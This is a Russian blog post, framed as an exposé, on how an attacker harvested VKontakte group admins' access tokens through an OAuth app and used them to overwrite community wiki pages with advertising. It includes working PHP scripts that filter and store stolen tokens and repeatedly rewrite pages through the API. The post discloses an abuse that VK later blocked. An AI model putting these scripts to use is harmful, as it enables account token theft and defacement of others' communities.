Расскручиваем сообщество через API ВКонтакте — разоблачение изнутри

в 16:33, , рубрики: api, php, Вконтакте, Вконтакте API, Песочница, метки: , ,

Пролог

В больших сообществах стало популярным делать рекламу в виде wiki-страниц, что и смогло расскрутить сообщество до 100 000 подписчиков, меньше чем за месяц. В сообществах стало популярным публиковать половину цытаты, а продолжение делать уже на самой wiki-странице, вот тут уже и пошло дело.

Расскручиваем сообщество через API ВКонтакте — разоблачение изнутри

Сам процесс

Все начиналось с обычной авторизации ВКонтакте, но для злоумышлинника не нужно было сохранять в базу всех пользователей, а лишь администраторов которые имеют при себе неплохое сообщество. Для этого при авторизации он добавил 3 параметра, на которые, почему то, некоторые администраторы даже не ложили подозрение. И дак, задаем нужные параметры scope=groups,pages,offline.

Собственно, groups нужен лишь для того, чтобы определить пользователей которые имеют админские права хотя бы в 1 сообществе. Но зачем же нам все пользователи? Именно по этому злоумышленник и отсеивал не нужных людей методом groups.get, а именно делали проверку групп на количество подписчиков. В нашем случаи, в базу попадали только те администраторы, у которых как минимум было 10 000 подписчиков, что неплохо для начала.

Осторожно — быдлокод!

<?php
$token = "access_token жертвы";

//получаем группы пользователя
$data = json_decode(file_get_contents("https://api.vk.com/method/groups.get?filter=admin&access_token=$token"), 1);

if ($data['response']) {
$count = count($data['response']);

$gid = '';
for($i=0;$i<$count;$i++) $gid .= $data['response'][$i].',';

//получаем информацию о группах
$data = json_decode(file_get_contents("https://api.vk.com/method/groups.getById?fields=members_count&gids=$gid&access_token=$token"), 1);

for($i=0;$i<$count;$i++) { 
//если хотя бы в 1 группе больше 10 000 пользователей, то записываем человека в базу
if ($data['response'][$i]['members_count']>10000) { 
mysql_query("INSERT INTO  `vk`.`vk` (`id` ,`uid` ,`token` ,`gid` ,`gnum`) VALUES (NULL ,  '$uid',  '$token',  '$gid',  '$count');");
exit; 
}
}
} else echo 'Пользователь не имеет групп';
?>

Дальше дела шли проще, у нас была красиво оформленна база, где и хранились наши избранные администраторы. Вид базы был скромным, приблизительно таким:

Расскручиваем сообщество через API ВКонтакте — разоблачение изнутри

После этого, мы могли зайти на его страницу, и с легкостью посмотреть сообщества человека, и посмотреть на его access_token (ключ пользователя для обращения к VK API).

Расскручиваем сообщество через API ВКонтакте — разоблачение изнутри

Дальше нужно было лишь подписаться на нужные сообщества-жертвы, и следить за тем, чтобы они опубликовали у себе запись с прикрипленной wiki-страницой. Проблемма со стороны ВКонтакте заключалась в том, что все ново-созданные wiki-страницы, могли редактировать все. И некоторые администраторы (большая часть) не меняли приватность на страницы, что и было их ошибкой.

После того как мы находили нужные wiki-страницы, мы добавляли их в простой скрипт, который собственно и обеспечивал нам рекламу. Но для лучшей эффективности, этот скрипт обновлялся каждую секунду, на случай того что администратор заметит подмену кода, и изменит его назад.

Осторожно — быдлокод!

<?php
function api($group, $page, $text, $token) {
$text = urlencode($text);
$resp = file_get_contents("https://api.vk.com/method/pages.save?Text=$text&access_token=$token&gid=$group&pid=$page");
$data = json_decode($resp, true);
if ($data['response']) echo '<font color="green">'.$group.'_'.$page.'</font> <a href="http://vk.com/page-'.$group.'_'.$page.'">»</a><br>';
else echo '<font color="red">'.$group.'_'.$page.'</font> ('.$data['error']['error_msg'].')<br>';
}

api(id_группы, id_страницы, 'текст wiki-страницы', 'токен');
api(id_группы, id_страницы, 'текст wiki-страницы', 'токен');
?>

Собственно все, в результате злоумышленник просто запускал скрипт на компьютере, и просто смотрел на ответ API. Если странице была добавлена приватность, то он просто вычеркивал данное сообщество со своего списка, и искал новые дальше.

Реакция пользователей

Как бы это подло не смотрелось, но рядовые пользователи ничего с этим поделать не могли. Все обращения в техподдержку, были просто напросто растоптаны в пух и прах. На вопросы недовольных пользователей, они лишь получали ответ о том, что это просто лазейка. И никаких нарушений нет.

Выходит, что никаких нарушений не было? Вот в чем разочарование.

Итог

После того как поступило много жалоб, но проблема не решилась, было принято решение написать одному с администраторов ВКонтакте, который и смог разрулить данную проблему. Домен злоумышленника был заблокирован, как и его сообщество, аккаунт и приложение.

Расскручиваем сообщество через API ВКонтакте — разоблачение изнутриРасскручиваем сообщество через API ВКонтакте — разоблачение изнутри

Автор: Gromadchuk

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js